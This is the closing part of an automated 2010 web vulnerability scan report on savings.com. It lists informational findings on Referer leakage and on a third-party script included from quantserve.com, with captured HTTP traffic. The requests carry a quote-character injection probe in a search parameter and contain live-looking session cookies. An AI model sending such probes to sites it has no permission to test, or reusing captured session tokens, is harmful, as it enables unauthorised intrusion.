<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...

5. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.savings.com
Path:   /coupons/search/coupons_results.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /coupons/search/coupons_results.html?searchString=%27%27%27%27 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.savings.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.savings.com
Proxy-Connection: Keep-Alive
Cookie: ESTN=1; EPRAT=1513874903-1289515077399; MPUSC=1513874903-1289515077399-RF; MPEVTC=1289515077399; MPREFSRC=mppid%3D%2Cmpsid%3D%2Cmptid%3Dnull%2Cmpclickid%3D167904071-1289515077399-2494421259030056889; MPIBRCC=167904071-1289515077399-2494421259030056889; mvoe_decision=49%3D176; mvo_last_exp=49%3Dabc3eBcnr6deoco8Of9Ws; MPPAGEEVENTCK=167904071-1289515077400-2058979601276870778; __utma=194878383.1389453792.1289515044.1289515044.1289515044.1; __utmb=194878383.1.10.1289515044; __utmc=194878383; __utmz=194878383.1289515044.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); JSESSIONID=abc3eBcnr6deoco8Of9Ws; epersist=BS0ox10vUQ1bFsE7f64TOauXTqfdVvqnpdFFpIpzK8lznWKjK4uuvKpqJCzxLhz06Ohx1u4ZFckWIcQ=

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
P3P: CP="IDC DSP COR CUR ADM TAI PSA PSD IVA CONi OUR IND UNI NAV"
Content-Language: en-US
Set-Cookie: ESTN=1; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:38:41 GMT
Set-Cookie: MPUSC=1513874903-1289515077399-RF; domain=.savings.com; path=/; expires=Thu, 11-Nov-2010 23:08:41 GMT
Set-Cookie: MPUSC=1513874903-1289515077399-RF; domain=.savings.com; path=/; expires=Thu, 11-Nov-2010 23:08:41 GMT
Set-Cookie: MPPAGEEVENTCK=167904071-1289515122218-3958197720787825511; domain=.savings.com; path=/
Content-Type: text/html; charset=UTF-8
Date: Thu, 11 Nov 2010 22:38:41 GMT
Vary: Accept-Encoding
Connection: Keep-Alive
Content-Length: 19291

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<li class="filter blog"><a href="http://www.thefind.com">Find More Products</a>
...[SNIP]...
</script><script type="text/javascript" src="http://edge.quantserve.com/quant.js" defer="defer"></script><noscript><img src="http://pixel.quantserve.com/pixel/p-4b9_74YSZoHNM.gif" width="1" height="1" alt="" style="display: none;"/></noscript>
...[SNIP]...

6. Cross-domain script include  previous
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


6.1. http://www.savings.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.savings.com
Path:   /

Issue detail

The response dynamically includes the following script from another domain:

Request

GET / HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.savings.com

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
Cache-Control: private
P3P: CP="IDC DSP COR CUR ADM TAI PSA PSD IVA CONi OUR IND UNI NAV"
Content-Language: en-US
Set-Cookie: ESTN=1; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:37:58 GMT
Set-Cookie: EPRAT=1513874903-1289515078800; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:37:58 GMT
Set-Cookie: MPUSC=1513874903-1289515078800-RF; domain=.savings.com; path=/; expires=Thu, 11-Nov-2010 23:07:58 GMT
Set-Cookie: MPEVTC=1289515078800; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:37:58 GMT
Set-Cookie: MPREFSRC=mppid%3D%2Cmpsid%3D%2Cmptid%3Dnull%2Cmpclickid%3D167904072-1289515078800-5561820917426706590; domain=.savings.com; path=/; expires=Sun, 26-Dec-2010 22:37:58 GMT
Set-Cookie: MPIBRCC=167904072-1289515078800-5561820917426706590; domain=.savings.com; path=/; expires=Sun, 26-Dec-2010 22:37:58 GMT
Set-Cookie: mvoe_decision=49%3D176; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:37:58 GMT
Set-Cookie: mvo_last_exp=49%3Dabc7skw1Us-rQfZlPf9Ws; domain=.savings.com; path=/; expires=Fri, 12-Nov-2010 02:37:58 GMT
Set-Cookie: MPPAGEEVENTCK=167904072-1289515078801-3734252660823874536; domain=.savings.com; path=/
Set-Cookie: JSESSIONID=abc7skw1Us-rQfZlPf9Ws; path=/
Content-Type: text/html; charset=ISO-8859-1
Date: Thu, 11 Nov 2010 22:37:58 GMT
Set-Cookie: epersist=XTrIOOEa5mzU+B07f64TOauXTqfdVgyWtjmlw5VaGfFPhj99E5otDoXfSdjXg/AYmt6HF42ZZKSh8fo=; path=/
Vary: Accept-Encoding
Connection: Keep-Alive
Content-Length: 106929

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
</script><script type="text/javascript" src="http://edge.quantserve.com/quant.js" defer="defer"></script>
...[SNIP]...

6.2. http://www.savings.com/coupons/search/coupons_results.html  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.savings.com
Path:   /coupons/search/coupons_results.html

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /coupons/search/coupons_results.html?searchString=%27%27%27%27 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.savings.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.savings.com
Proxy-Connection: Keep-Alive
Cookie: ESTN=1; EPRAT=1513874903-1289515077399; MPUSC=1513874903-1289515077399-RF; MPEVTC=1289515077399; MPREFSRC=mppid%3D%2Cmpsid%3D%2Cmptid%3Dnull%2Cmpclickid%3D167904071-1289515077399-2494421259030056889; MPIBRCC=167904071-1289515077399-2494421259030056889; mvoe_decision=49%3D176; mvo_last_exp=49%3Dabc3eBcnr6deoco8Of9Ws; MPPAGEEVENTCK=167904071-1289515077400-2058979601276870778; __utma=194878383.1389453792.1289515044.1289515044.1289515044.1; __utmb=194878383.1.10.1289515044; __utmc=194878383; __utmz=194878383.1289515044.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); JSESSIONID=abc3eBcnr6deoco8Of9Ws; epersist=BS0ox10vUQ1bFsE7f64TOauXTqfdVvqnpdFFpIpzK8lznWKjK4uuvKpqJCzxLhz06Ohx1u4ZFckWIcQ=

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
P3P: CP="IDC DSP COR CUR ADM TAI PSA PSD IVA CONi OUR IND UNI NAV"
Content-Language: en-US
Set-Cookie: ESTN=1; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:38:41 GMT
Set-Cookie: MPUSC=1513874903-1289515077399-RF; domain=.savings.com; path=/; expires=Thu, 11-Nov-2010 23:08:41 GMT
Set-Cookie: MPUSC=1513874903-1289515077399-RF; domain=.savings.com; path=/; expires=Thu, 11-Nov-2010 23:08:41 GMT
Set-Cookie: MPPAGEEVENTCK=167904071-1289515122218-3958197720787825511; domain=.savings.com; path=/
Content-Type: text/html; charset=UTF-8
Date: Thu, 11 Nov 2010 22:38:41 GMT
Vary: Accept-Encoding
Connection: Keep-Alive
Content-Length: 19291

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
</script><script type="text/javascript" src="http://edge.quantserve.com/quant.js" defer="defer"></script>
...[SNIP]...

Report generated by XSS.CX at Thu Nov 11 16:40:06 CST 2010.